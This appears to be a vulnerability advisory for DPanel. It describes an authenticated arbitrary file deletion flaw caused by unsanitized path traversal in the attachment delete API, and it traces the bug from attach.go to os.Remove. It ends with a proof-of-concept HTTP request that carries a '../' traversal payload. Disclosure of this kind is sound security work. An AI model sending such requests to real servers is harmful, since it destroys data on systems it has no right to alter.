Description

Summary

DPanel has an arbitrary file deletion vulnerability in the /api/common/attach/delete interface. Authenticated users can delete arbitrary files on the server via path traversal.

Details

When a user logs into the administrative backend, this interface can be used to delete files. The vulnerability lies in the Delete function within the app/common/http/controller/attach.go file.

The path parameter submitted by the user is directly passed to storage.Local{}.GetSaveRealPath and subsequently to os.Remove without proper sanitization or checking for path traversal characters (../).

And the helper function in common/service/storage/local.go uses filepath.Join, which resolves ../ but does not enforce a chroot/jail: <img width="564" height="66" alt="image" src="https://github.com/user-attachments/assets/84d5a4f7-9054-4e1d-aa6b-6b50c80ba277" />

PoC

  1. Log in to the DPanel dashboard to obtain the Authorization token.
  2. Send a POST request to delete a file (e.g., /tmp/1.txt inside the container).

Request:

POST /dpanel/api/common/attach/delete HTTP/1.1
Host: target-ip:8807
Authorization: Bearer <YOUR_TOKEN>
Content-Type: application/x-www-form-urlencoded

path=../../../../../../../../tmp/1.txt
